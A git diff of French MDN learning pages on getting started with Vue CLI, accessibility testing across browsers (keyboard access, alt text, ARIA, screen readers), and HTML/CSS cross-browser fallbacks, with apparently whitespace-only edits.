a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.md b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.md index 9f938e5728..304ff9e398 100644 --- a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.md +++ b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.md @@ -127,7 +127,7 @@ To explore various features of Vue, we will be building up a sample todo list ap The CLI will now begin scaffolding out your project, and installing all of your dependencies. -If you've never run the Vue CLI before, you'll get one more question — you'll be asked to choose a package manager. You can use the arrow keys to select which one you prefer. The Vue CLI will default to this package manager from now on. If you need to use a different package manager after this, you can pass in a flag , when you run . So if you wanted to create the project with npm and you'd previously chosen yarn, you’d run .` --packageManager=<package-manager>``vue create``moz-todo-vue``vue create moz-todo-vue --packageManager=npm ` +If you've never run the Vue CLI before, you'll get one more question — you'll be asked to choose a package manager. You can use the arrow keys to select which one you prefer. The Vue CLI will default to this package manager from now on. If you need to use a different package manager after this, you can pass in a flag , when you run . So if you wanted to create the project with npm and you'd previously chosen yarn, you’d run .` --packageManager=<package-manager>``vue create``moz-todo-vue``vue create moz-todo-vue --packageManager=npm ` > **Note :** We've not gone over all of the options here, but you can [find more information on the CLI](https://cli.vuejs.org) in the Vue docs. @@ -200,10 +200,10 @@ The Vue CLI comes with a built-in development server. This allows you to run you In your terminal, try running (or if you prefer yarn). Your terminal should output something like the following:` npm run serve``yarn serve ` - INFO Starting development server... + INFO Starting development server... 98% after emitting CopyPlugin - DONE Compiled successfully in 18121ms + DONE Compiled successfully in 18121ms App running at: - Local: <http://localhost:8080/> diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/accessibility/index.md b/files/fr/learn/tools_and_testing/cross_browser_testing/accessibility/index.md index b4830fc154..1885f39aed 100644 --- a/files/fr/learn/tools_and_testing/cross_browser_testing/accessibility/index.md +++ b/files/fr/learn/tools_and_testing/cross_browser_testing/accessibility/index.md @@ -123,14 +123,14 @@ Comme test, vous pouvez désactiver le CSS d'un site et voir à quel point il es - Firefox : Sélectionnez _Affichage > Style de page > Aucun style_ depuis le menu principal. - Safari : Sélectionnez _Développement > Désactiver les styles_ depuis le menu principale (pour activer le menu _Développement_, choisissez _Safari_ > _Préférences_ > _Avancés_ > _Montrer le menu développement dans la barre de menu_). -- Chrome : Installez l'extension Web Developer Toolbar, puis redémarrer le navigateur. Cliquez sur l'icône engrenage qui apparaîtra, puis sélectionnez _CSS_ > _Désactiver tous les styles._ +- Chrome : Installez l'extension Web Developer Toolbar, puis redémarrer le navigateur. Cliquez sur l'icône engrenage qui apparaîtra, puis sélectionnez _CSS_ > _Désactiver tous les styles._ - Edge : Sélectionnez _Vue_ > _Style_ > _Aucun style_ depuis le menu principal. #### Utiliser l'accessibilité native du clavier Certaines fonctionnalités HTML peuvent être sélectionnées en utilisant uniquement le clavier — c'est le comportement par défaut, disponible depuis les prémices du web. Les éléments qui ont cette capacité sont les plus communs qui permettent à l'utilisateur d'interagir avec les pages web, à savoir les liens, {{htmlelement("button")}}s, et les éléments des formulaire comme {{htmlelement("input")}}. -Vous pouvez essayer ceci en utilisant notre exemple [native-keyboard-accessibility.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html)) — ouvrez le dans un nouvel onglet, et essayez de presser la touche tab ; après quelques pressions, vous devriez voir la focalisation du tab commencer à se déplacer entre les différents éléments focalisables ; les éléments focalisés ont un style de mise en avant par défaut dans tous les navigateurs (cela diffère peu entre les différents navigateurs) donc vous pouvez dire quel éléments est focalisé. +Vous pouvez essayer ceci en utilisant notre exemple [native-keyboard-accessibility.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html)) — ouvrez le dans un nouvel onglet, et essayez de presser la touche tab ; après quelques pressions, vous devriez voir la focalisation du tab commencer à se déplacer entre les différents éléments focalisables ; les éléments focalisés ont un style de mise en avant par défaut dans tous les navigateurs (cela diffère peu entre les différents navigateurs) donc vous pouvez dire quel éléments est focalisé.  @@ -161,8 +161,8 @@ a:focus, input:focus, button:focus, select:focus { Parfois ça n'est pas possible d'éviter la perte de l'accessibilité clavier. Vous pouvez avoir hérité d'un site où la sémantique n'est pas parfaite (peut-être que vous vous êtes retrouvé avec un CMS horrible qui génère des boutons créés avec des `<div>`s), ou que vous utilisez un contrôle complexe qui n'a pas d'accessibilité clavier intégré, comme l'élément {{htmlelement("video")}} (étonnamment, Opera est le seul navigateur qui vous permet de tabuler dans l'élément `<video>` avec les contrôles par défaut du navigateur). Vous avez quelques options ici : 1. Créer des contrôles personnalisés en utilisant les éléments `<button>` (sur lequel nous pouvons tabuler par défaut !) et JavaScript pour les relier à leur fonction. Pour des bons exemples voir [Creating a cross-browser video player](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player). -2. Créer des raccourcis clavier en utilisant JavaScript, les fonctions sont activés quand vous appuyez sur une certaine touche du clavier. Voir [Desktop mouse and keyboard controls](/fr/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard) pour des exemples en rapport avec le jeu qui peuvent être adaptés à d'autres fins. -3. Utilisez des approches intéressantes pour simuler le comportement d'un bouton. Prenez par exemple notre exemple [fake-div-buttons.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html)). Nous donnons à nos faux boutons `<div>` la capacité d'être focalisé (y compris avec la tabulation) en donnant à chacun d'entre eux l'attribut `tabindex="0"` (voir l'[article tabindex](https://webaim.org/techniques/keyboard/tabindex) de WebAIM pour plus de détails utiles). Cela nous permet de tabuler sur les boutons, mais pas de les activer avec la toucher Entrée/Retour. Pour faire cela, nous devons ajouter ce petit bout de tromperie en JavaScript : +2. Créer des raccourcis clavier en utilisant JavaScript, les fonctions sont activés quand vous appuyez sur une certaine touche du clavier. Voir [Desktop mouse and keyboard controls](/fr/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard) pour des exemples en rapport avec le jeu qui peuvent être adaptés à d'autres fins. +3. Utilisez des approches intéressantes pour simuler le comportement d'un bouton. Prenez par exemple notre exemple [fake-div-buttons.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html)). Nous donnons à nos faux boutons `<div>` la capacité d'être focalisé (y compris avec la tabulation) en donnant à chacun d'entre eux l'attribut `tabindex="0"` (voir l'[article tabindex](https://webaim.org/techniques/keyboard/tabindex) de WebAIM pour plus de détails utiles). Cela nous permet de tabuler sur les boutons, mais pas de les activer avec la toucher Entrée/Retour. Pour faire cela, nous devons ajouter ce petit bout de tromperie en JavaScript : 4. ```js document.onkeydown = function(e) { if(e.keyCode === 13) { // The Enter/Return key @@ -171,19 +171,19 @@ Parfois ça n'est pas possible d'éviter la perte de l'accessibilité clavier. V }; ``` - Ici nous ajoutons un listener à l'objet `document` pour détecter quand une touche a été appuyée sur le clavier. Nous vérifions quelle touche a été pressée avec la propriété d'évènement d'objet [keyCode](/fr/docs/Web/API/KeyboardEvent/keyCode) ; si c'est le code de la touche qui retourne Entrée/Retour, on exécute la fonction stockée dans le `onclick` du bouton en utilisant `document.activeElement.onclick()`. [`activeElement`](/fr/docs/Web/API/Document/activeElement) nous donne l'élément courant qui est focalisé sur la page. + Ici nous ajoutons un listener à l'objet `document` pour détecter quand une touche a été appuyée sur le clavier. Nous vérifions quelle touche a été pressée avec la propriété d'évènement d'objet [keyCode](/fr/docs/Web/API/KeyboardEvent/keyCode) ; si c'est le code de la touche qui retourne Entrée/Retour, on exécute la fonction stockée dans le `onclick` du bouton en utilisant `document.activeElement.onclick()`. [`activeElement`](/fr/docs/Web/API/Document/activeElement) nous donne l'élément courant qui est focalisé sur la page. > **Note :** Cette technique ne fonctionnera que si vous configurer vos propres gestionnaires d'évènement avec les propriétés de gestion d'évènement (par ex. `onclick`). `addEventListener` ne fonctionnera pas. C'est beaucoup de prises de tête pour construire la fonctionnalité de retour. Et il y a d'autres problèmes rattachés avec. Vaut mieux commencer par utiliser les bons éléments pour leurs buts initiaux. #### Les textes alternatifs -Les textes alternatifs sont très importants pour l'accessibilité — si une personne a un trouble visuel ou auditif qui l'empêche de voir ou d'entendre un contenu, alors c'est un problème. Le texte alternatif le plus simple disponible est le modeste attribut `alt`, que nous devrions inclure dans toutes les images qui contiennent un contenu pertinent. Il peut contenir une description de l'image qui transmet clairement son sens et son contenu sur la page, pour être récupéré par un lecteur d'écran et lu à l'utilisateur. +Les textes alternatifs sont très importants pour l'accessibilité — si une personne a un trouble visuel ou auditif qui l'empêche de voir ou d'entendre un contenu, alors c'est un problème. Le texte alternatif le plus simple disponible est le modeste attribut `alt`, que nous devrions inclure dans toutes les images qui contiennent un contenu pertinent. Il peut contenir une description de l'image qui transmet clairement son sens et son contenu sur la page, pour être récupéré par un lecteur d'écran et lu à l'utilisateur. > **Note :** Pour plus d'informations, lisez [Text alternatives](/fr/docs/Learn/Accessibility/HTML#Text_alternatives). L'oubli de texte alt peut être testé de bien des façons, par exemple en utilisant le {{anch("Auditing tools")}} d'accessibilité. -Le texte alt est légèrement plus complexe pour du contenu vidéo ou audio. Il y a une manière de gérer l'affichage du texte (par ex. les sous-titres) et de les afficher quand la vidéo est jouée, sous le forme de l'élément {{htmlelement("track")}}, et du format [WebVTT](/fr/docs/Web/API/Web_Video_Text_Tracks_Format) (voir [Ajouter des légendes et des sous-titres à des vidéos HTML5](/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video) pour un tutoriel détaillé). [La compatibilité entre navigateur](/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video#Compatibilit%C3%A9_entre_navigateurs) pour cette fonction est assez bonne, mais si vous voulez fournir des textes alternatifs pour de l'audio ou supporter les vieux navigateurs, une simple transcription du texte présenté quelque part sur la page ou sur une page séparée peut être une bonne idée. +Le texte alt est légèrement plus complexe pour du contenu vidéo ou audio. Il y a une manière de gérer l'affichage du texte (par ex. les sous-titres) et de les afficher quand la vidéo est jouée, sous le forme de l'élément {{htmlelement("track")}}, et du format [WebVTT](/fr/docs/Web/API/Web_Video_Text_Tracks_Format) (voir [Ajouter des légendes et des sous-titres à des vidéos HTML5](/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video) pour un tutoriel détaillé). [La compatibilité entre navigateur](/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video#Compatibilit%C3%A9_entre_navigateurs) pour cette fonction est assez bonne, mais si vous voulez fournir des textes alternatifs pour de l'audio ou supporter les vieux navigateurs, une simple transcription du texte présenté quelque part sur la page ou sur une page séparée peut être une bonne idée. #### Relations et contexte entre élément @@ -213,7 +213,7 @@ Il y a quelques autres considérations que vous devriez prendre en compte. #### Couleur et contraste -Lorsque vous choisissez une palette de couleurs pour votre site web, vous devez vous assurer que la couleur du texte (au premier plan) contraste bien avec la couleur d'arrière-plan. Votre design peut avoir l'air cool, mais ce n'est pas bon si les personnes avec un handicap visuel comme le daltonisme ne peuvent pas lire votre contenu. Utilisez un outil comme le [Color Contrast Checker](http://webaim.org/resources/contrastchecker/) de WebAIM si votre palette contraste suffisamment. +Lorsque vous choisissez une palette de couleurs pour votre site web, vous devez vous assurer que la couleur du texte (au premier plan) contraste bien avec la couleur d'arrière-plan. Votre design peut avoir l'air cool, mais ce n'est pas bon si les personnes avec un handicap visuel comme le daltonisme ne peuvent pas lire votre contenu. Utilisez un outil comme le [Color Contrast Checker](http://webaim.org/resources/contrastchecker/) de WebAIM si votre palette contraste suffisamment. Une autre astuce est de ne pas compter sur une couleur seule pour les indications/informations, comme ça ne sera pas bon pour ceux qui ne peuvent pas voir la couleur. Plutôt que de marquer en rouge les champs requis d'un formulaire, par exemple, marquez-les avec un astérisque et en rouge. @@ -250,13 +250,13 @@ Les implémentations JavaScript plus complexes peuvent mener à des problèmes a L'un des domaines de problématique principal pour l'accessibilité c'est les applis complexes qui nécessitent des contrôles de formulaires compliqués (comme les sélecteurs de date) et le contenu dynamique qui se met souvent à jour et de façon incrémentale. -Les contrôles de formulaire compliqués non natifs sont problématiques parce qu'ils ont tendance à nécessiter beaucoup de `<div>`s imbriquées, et le navigateur ne sait pas quoi faire par défaut avec elles. Si vous les inventer vous-même, vous devez vous assurer qu'ils sont accessibles par le clavier ; si vous utilisez des structures externes, revoyez en profondeur les options disponibles pour voir à quel point elles sont accessibles avant de vous plonger dedans. [Bootstrap](http://getbootstrap.com/) à l'air d'être assez bon pour l'accessibilité, par exemple, bien que [Making Bootstrap a Little More Accessible](https://www.sitepoint.com/making-bootstrap-accessible/) de Rhiana Heath aborde certain de ses problèmes (principalement en rapport avec le contraste des couleurs), et examine certaines solutions. +Les contrôles de formulaire compliqués non natifs sont problématiques parce qu'ils ont tendance à nécessiter beaucoup de `<div>`s imbriquées, et le navigateur ne sait pas quoi faire par défaut avec elles. Si vous les inventer vous-même, vous devez vous assurer qu'ils sont accessibles par le clavier ; si vous utilisez des structures externes, revoyez en profondeur les options disponibles pour voir à quel point elles sont accessibles avant de vous plonger dedans. [Bootstrap](http://getbootstrap.com/) à l'air d'être assez bon pour l'accessibilité, par exemple, bien que [Making Bootstrap a Little More Accessible](https://www.sitepoint.com/making-bootstrap-accessible/) de Rhiana Heath aborde certain de ses problèmes (principalement en rapport avec le contraste des couleurs), et examine certaines solutions. Le contenu dynamique régulièrement mis à jour peut-être un problème parce que les utilisateurs de lecteur d'écran peuvent le manquer, spécialement si les mises à jour sont inattendues. Si vous avez une appli en single-page avec un contenu principal dans un panneau qui est régulièrement mis à jour en utilisant [XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest) ou [Fetch](/fr/docs/Web/API/Fetch_API), un utilisateur utilisant un lecteur d'écran peut rater ces mises à jour. #### WAI-ARIA -Avez-vous besoin d'utiliser une fonctionnalité complexe, ou à la place vous le faîte avec une bonne vieille sémantique HTML ? Si vous avez besoin de complexité, vous devriez songer à utiliser [WAI-ARIA](https://www.w3.org/TR/wai-aria-1.1/) (Accessible Rich Internet Applications), une spécification qui fournit une sémantique (sous la forme des nouveaux attributs HTML) pour les objets comme les contrôles complexes de formulaire et les panneaux mis à jour qui peuvent être compris par la plupart des navigateurs et les lecteurs d'écran. +Avez-vous besoin d'utiliser une fonctionnalité complexe, ou à la place vous le faîte avec une bonne vieille sémantique HTML ? Si vous avez besoin de complexité, vous devriez songer à utiliser [WAI-ARIA](https://www.w3.org/TR/wai-aria-1.1/) (Accessible Rich Internet Applications), une spécification qui fournit une sémantique (sous la forme des nouveaux attributs HTML) pour les objets comme les contrôles complexes de formulaire et les panneaux mis à jour qui peuvent être compris par la plupart des navigateurs et les lecteurs d'écran. Pour traiter avec les widgets complexes de formulaire, vous devez utiliser les attributs ARIA comme `roles` pour déclarer quel rôle les différents éléments on dans un widget (par exemple, est-ce qu'ils sont un onglet, ou un panneau ?), `aria-disabled` pour dire si un contrôle est désactivé ou pas, etc. @@ -273,7 +273,7 @@ Voici un exemple : <p><span id="LiveRegion1" aria-live="polite" aria-atomic="false"></span></p> ``` -Vous pouvez voir un exemple en action sur l'exemple [ARIA (Accessible Rich Internet Applications) Live Regions](http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm) de Freedom Scientific — le paragraphe surligné doit mettre à jour son contenu toutes les 10 secondes, et un lecteur d'écran doit le lire à l'utilisateur. [ARIA Live Regions - Atomic](http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegionsAtomic.htm) apporte un autre exemple utile. +Vous pouvez voir un exemple en action sur l'exemple [ARIA (Accessible Rich Internet Applications) Live Regions](http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm) de Freedom Scientific — le paragraphe surligné doit mettre à jour son contenu toutes les 10 secondes, et un lecteur d'écran doit le lire à l'utilisateur. [ARIA Live Regions - Atomic](http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegionsAtomic.htm) apporte un autre exemple utile. Nous n'avons pas de place pour couvrir WAI-ARIA en détail ici, vous pouvez en apprendre beaucoup plus à ce propos sur [WAI-ARIA basics](/fr/docs/Learn/Accessibility/WAI-ARIA_basics). @@ -292,7 +292,7 @@ Il y a plusieurs outils d'audit disponibles que vous pouvez placer sur vos pages Observons un exemple, en utilisant Tenon. 1. Aller sur la [page d'accueil de Tenon](https://tenon.io). -2. Entrez l'URL de notre exemple de [bad-semantics.html](http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html) dans l'entrée texte en haut de la page (ou l'URL d'une autre page que vous aimeriez analyser) et appuyez sur _Analyse your Webpage_. +2. Entrez l'URL de notre exemple de [bad-semantics.html](http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html) dans l'entrée texte en haut de la page (ou l'URL d'une autre page que vous aimeriez analyser) et appuyez sur _Analyse your Webpage_. 3. Défilez vers le bas jusqu'à que vous trouviez la section d'erreur/signalement, comme montré ci-dessous.  @@ -303,7 +303,7 @@ Il y a également des options que vous pouvez examiner (voir le lien _Show Optio ### Les outils d'automatisation -[Deque's aXe tool](https://www.deque.com/products/axe/) va un peu plus loin que les outils d'audit que nous avons mentionné plus haut. Comme les autres, il vérifie les pages et retourne des erreurs d'accessibilité. Sa forme immédiate la plus utile est sûrement son extension navigateur : +[Deque's aXe tool](https://www.deque.com/products/axe/) va un peu plus loin que les outils d'audit que nous avons mentionné plus haut. Comme les autres, il vérifie les pages et retourne des erreurs d'accessibilité. Sa forme immédiate la plus utile est sûrement son extension navigateur : - [aXe pour Chrome](http://bitly.com/aXe-Chrome) - [aXe pour Firefox](http://bit.ly/aXe-Firefox) @@ -326,7 +326,7 @@ La plupart du temps, les lecteurs d'écran sont des applis séparées, qui s'ex Commençons à effectuer quelques tests avec deux lecteurs d'écran différents pour vous donner une idée générale de comment ils fonctionnent et de comment tester avec eux. -> **Note :** [Designing for Screen Reader Compatibility](http://webaim.org/techniques/screenreader/) de WebAIM fournit des informations utiles à propos de l'utilisation des lecteurs d'écran et qu'est-ce qui est le plus efficace pour les lecteurs d'écran. Aller également voir [Screen Reader User Survey #6 Results](http://webaim.org/projects/screenreadersurvey6/#used) pour des statistiques intéressantes concernant l'utilisation de lecteur d'écran. +> **Note :** [Designing for Screen Reader Compatibility](http://webaim.org/techniques/screenreader/) de WebAIM fournit des informations utiles à propos de l'utilisation des lecteurs d'écran et qu'est-ce qui est le plus efficace pour les lecteurs d'écran. Aller également voir [Screen Reader User Survey #6 Results](http://webaim.org/projects/screenreadersurvey6/#used) pour des statistiques intéressantes concernant l'utilisation de lecteur d'écran. #### VoiceOver @@ -652,7 +652,7 @@ Maintenant que vous vous êtes habitué à utiliser un lecteur d'écran, nous ai - Regardez [good-links.html](http://mdn.github.io/learning-area/accessibility/html/good-links.html), et notez comment est-ce qu'ils ont du sens vus hors contexte. Ce n'est pas le cas avec [bad-links.html](http://mdn.github.io/learning-area/accessibility/html/bad-links.html) — ceux sont juste tous des "click here". - Regardez [good-form.html](http://mdn.github.io/learning-area/accessibility/html/good-form.html), et regardez comment les entrées du formulaire sont décrites en utilisant leurs libellés parce que nous avons utilisé l'élément `<label>` correctement. Dans [bad-form.html](http://mdn.github.io/learning-area/accessibility/html/bad-form.html), ils ne sont que des "blank" sur toute la ligne, totalement inutiles. - Regardez notre exemple [punk-bands-complete.html](http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html), et observez comment le lecteur d'écran est capable d'associer les colonnes et les lignes de contenu et de les lires toutes ensembles, parce que nous avons défini les entêtes correctement. Dans [bad-table.html](http://mdn.github.io/learning-area/accessibility/html/bad-table.html), aucune des cellules ne peut être associée du tout. Notez que NVDA a étonnamment l'air d'assez bien se comporter lorsque vous n'avez qu'un seul tableau sur une page ; à la place vous pouvez essayer [WebAIM's table test page](http://webaim.org/articles/nvda/tables.htm). -- Jetez un œil à [WAI-ARIA live regions example](http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm) que nous avons vu plus tôt, et observez comment le lecteur d'écran va continuer de lire la section qui se met à constamment à jour dès qu'elle se met à jour. +- Jetez un œil à [WAI-ARIA live regions example](http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm) que nous avons vu plus tôt, et observez comment le lecteur d'écran va continuer de lire la section qui se met à constamment à jour dès qu'elle se met à jour. ### Test utilisateur diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/html_and_css/index.md b/files/fr/learn/tools_and_testing/cross_browser_testing/html_and_css/index.md index d746f9ca35..2b8177e2c2 100644 --- a/files/fr/learn/tools_and_testing/cross_browser_testing/html_and_css/index.md +++ b/files/fr/learn/tools_and_testing/cross_browser_testing/html_and_css/index.md @@ -58,7 +58,7 @@ Commençons et regardons comment nous pouvons réduire les erreurs en navigateur Nous disions dans le [premier article de cette série](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction#Testingdiscovery) que c'était une bonne stratégie de commencer à tester sur une paire de navigateurs modernes sur desktop/mobile, afin de vous assurer que votre site fonctionne pour l'essentiel, avant de commencer à se concentrer sur les problèmes en navigateur croisé. -Dans nos articles [Debugging HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML) et [Debugging CSS](/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS), nous avancions quelques conseils très basiques sur le débogage HTML/CSS — si vous ne maîtrisez pas ces bases, vous devriez sans aucun doute aller étudier ces articles avant de continuer. +Dans nos articles [Debugging HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML) et [Debugging CSS](/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS), nous avancions quelques conseils très basiques sur le débogage HTML/CSS — si vous ne maîtrisez pas ces bases, vous devriez sans aucun doute aller étudier ces articles avant de continuer. Il s'agit essentiellement de vérifier si votre code HTML et CSS est bien conçu et s'il ne contient aucune erreur de syntaxe. @@ -70,7 +70,7 @@ Pour le HTML, la validation implique de s'assurer que toutes vos balises sont co  -Le CSS a une histoire semblable — vous devez vérifier que vos noms de propriétés sont correctement épelés, ques les valeurs des propriétés sont correctement épelées et qu'elles sont valides pour les propriétés auxquelles elles s'appliquent, que vous n'oubliez aucune accolades ouvrantes et fermantes. Les W3C a un [CSS Validator](http://jigsaw.w3.org/css-validator/) également disponible à cet effet. +Le CSS a une histoire semblable — vous devez vérifier que vos noms de propriétés sont correctement épelés, ques les valeurs des propriétés sont correctement épelées et qu'elles sont valides pour les propriétés auxquelles elles s'appliquent, que vous n'oubliez aucune accolades ouvrantes et fermantes. Les W3C a un [CSS Validator](http://jigsaw.w3.org/css-validator/) également disponible à cet effet. ### Les linters @@ -121,9 +121,9 @@ Une fois que vous avez identifié une liste des potentielles technologies à pro #### Comportement naturel du HTML -Certains problèmes peuvent être résolus, seulement en tirant parti des réactions naturelles du HTML/CSS. +Certains problèmes peuvent être résolus, seulement en tirant parti des réactions naturelles du HTML/CSS. -Les éléments HTML non reconnus sont traités par les navigateurs comme des éléments inline anonymes (véritablement des éléments inline avec aucune valeur sémantiques, similaires aux éléments {{htmlelement("span")}} ). Vous pouvez toujours vous référez à eux avec leurs noms, et les styler avec du CSS, par exemple — vous avez juste besoin de vous assurer qu'ils se comportent comme vous le voulez, par exemple configurer `display: block;` sur tous les nouveaux éléments sémantiques (comme {{htmlelement("article")}}, {{htmlelement("aside")}}, etc.), mais seulement sur les vieilles versions d'IE qui ne les reconnaissent pas (donc, IE 8 et plus faible). De cette façon les nouveaux navigateurs peuvent juste utiliser le code normalement, mais les anciennes versions d'IE seront également capables de styler ces éléments. +Les éléments HTML non reconnus sont traités par les navigateurs comme des éléments inline anonymes (véritablement des éléments inline avec aucune valeur sémantiques, similaires aux éléments {{htmlelement("span")}} ). Vous pouvez toujours vous référez à eux avec leurs noms, et les styler avec du CSS, par exemple — vous avez juste besoin de vous assurer qu'ils se comportent comme vous le voulez, par exemple configurer `display: block;` sur tous les nouveaux éléments sémantiques (comme {{htmlelement("article")}}, {{htmlelement("aside")}}, etc.), mais seulement sur les vieilles versions d'IE qui ne les reconnaissent pas (donc, IE 8 et plus faible). De cette façon les nouveaux navigateurs peuvent juste utiliser le code normalement, mais les anciennes versions d'IE seront également capables de styler ces éléments. > **Note :** Voir {{anch("IE conditional comments")}} pour une application efficace. @@ -230,7 +230,7 @@ Observons un exemple — une simple boîte stylée avec du CSS, qui a certains s  -> **Note :** Vous pouvez également voir cet exemple exécuté en direct sur GitHub comme [button-with-fallback.html](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/button-with-fallback.html) (voir aussi le [code source](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/html-css/button-with-fallback.html)). +> **Note :** Vous pouvez également voir cet exemple exécuté en direct sur GitHub comme [button-with-fallback.html](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/button-with-fallback.html) (voir aussi le [code source](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/html-css/button-with-fallback.html)). Le bouton a un nombre de déclarations qui le style, mais les deux qui nous intéressent le plus sont les suivantes : @@ -254,11 +254,11 @@ button:active { } ``` -Ici on fournit un {{cssxref("background-color")}} [RGBA](</fr/docs/Web/CSS/color_value#rgba()>) qui modifie l'opacité au survol afin de donner à l'utilisateur l'information que le bouton est interactif, et une ombre {{cssxref("box-shadow")}} interne semi-transparente pour donner au bouton un peu de texture et de profondeur. Le problème est que les couleurs RGBA et les box shadows ne fonctionnent pas sur les versions d'IE plus vieilles que la 9 — dans les versions plus anciennes le background ne sera juste pas visible du tout et le texte sera illisible, pas bon du tout ! +Ici on fournit un {{cssxref("background-color")}} [RGBA](</fr/docs/Web/CSS/color_value#rgba()>) qui modifie l'opacité au survol afin de donner à l'utilisateur l'information que le bouton est interactif, et une ombre {{cssxref("box-shadow")}} interne semi-transparente pour donner au bouton un peu de texture et de profondeur. Le problème est que les couleurs RGBA et les box shadows ne fonctionnent pas sur les versions d'IE plus vieilles que la 9 — dans les versions plus anciennes le background ne sera juste pas visible du tout et le texte sera illisible, pas bon du tout !  -Pour résoudre ce problème, nous avons ajouté une deuxième déclaration `background-color`, qui précise juste une couleur hex — c'est un recours supporté par les vieux navigateurs, et agit en tant que solution de repli si les fonctionnalités belles et brillantes ne fonctionnent pas. Ce qui se passe c'est que le navigateur parcourant cette page applique pour commencer la première valeur `background-color` ; lorsqu'il sélectionne la deuxième déclaration `background-color`, il remplace la valeur initiale avec cette valeur s'il supporte les couleurs RGBA. S'il ne supporte pas, il ignorera juste toute la déclaration et continuera à avancer. +Pour résoudre ce problème, nous avons ajouté une deuxième déclaration `background-color`, qui précise juste une couleur hex — c'est un recours supporté par les vieux navigateurs, et agit en tant que solution de repli si les fonctionnalités belles et brillantes ne fonctionnent pas. Ce qui se passe c'est que le navigateur parcourant cette page applique pour commencer la première valeur `background-color` ; lorsqu'il sélectionne la deuxième déclaration `background-color`, il remplace la valeur initiale avec cette valeur s'il supporte les couleurs RGBA. S'il ne supporte pas, il ignorera juste toute la déclaration et continuera à avancer. > **Note :** Il se produit la même chose pour les autres caractéristiques de CSS comme les blocs [media queries](/fr/docs/Web/CSS/Media_Queries/Using_media_queries), [`@font-face`](/fr/docs/Web/CSS/@font-face) et [`@supports`](/fr/docs/Web/CSS/@supports) — s'ils ne sont pas supportés, le navigateur va juste les ignorer. @@ -310,7 +310,7 @@ form > #date (L'input `date` du formulaire n'est pas directement dans le `<form>` ; vous feriez mieux d'utiliser un sélecteur descendant général plutôt qu'un sélecteur d'enfant). -Il y a néanmoins un autre problème qui apparaît sur les versions d'IE plus anciennes que la 9 c'est qu'il n'y a aucun nouveau sélecteur (principalement les pseudo-classes et les pseudo-éléments comme [`:nth-of-type`](/fr/docs/Web/CSS/:nth-of-type), [`:not`](/fr/docs/Web/CSS/:not), [`::selection`](/fr/docs/Web/CSS/::selection), etc.) qui marche. Si vous voulez les utiliser dans votre CSS et que vous devez supporter les anciennes versions d'IE, une bonne initiative et d'utiliser la librairie [Selectivizr](http://selectivizr.com/) de Keith Clark — c'est une petite librairie Javascript qui s'exécute au-dessus d'une librairie Javascript existante comme [jQuery](http://jquery.com/) ou [MooTools](http://mootools.net/). +Il y a néanmoins un autre problème qui apparaît sur les versions d'IE plus anciennes que la 9 c'est qu'il n'y a aucun nouveau sélecteur (principalement les pseudo-classes et les pseudo-éléments comme [`:nth-of-type`](/fr/docs/Web/CSS/:nth-of-type), [`:not`](/fr/docs/Web/CSS/:not), [`::selection`](/fr/docs/Web/CSS/::selection), etc.) qui marche. Si vous voulez les utiliser dans votre CSS et que vous devez supporter les anciennes versions d'IE, une bonne initiative et d'utiliser la librairie [Selectivizr](http://selectivizr.com/) de Keith Clark — c'est une petite librairie Javascript qui s'exécute au-dessus d'une librairie Javascript existante comme [jQuery](http://jquery.com/) ou [MooTools](http://mootools.net/). 1. Afin de tester cet exemple, faites une copie locale de [selectivizr-example-start.html](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/selectivizr-example-start.html). Si vous le regarder s'exécuter en direct, vous verrez qu'il contient deux paragraphes, dont l'un est stylé. Nous avons sélectionné le paragraphe avec `p:first-child`, qui ne fonctionne pas sur les anciennes 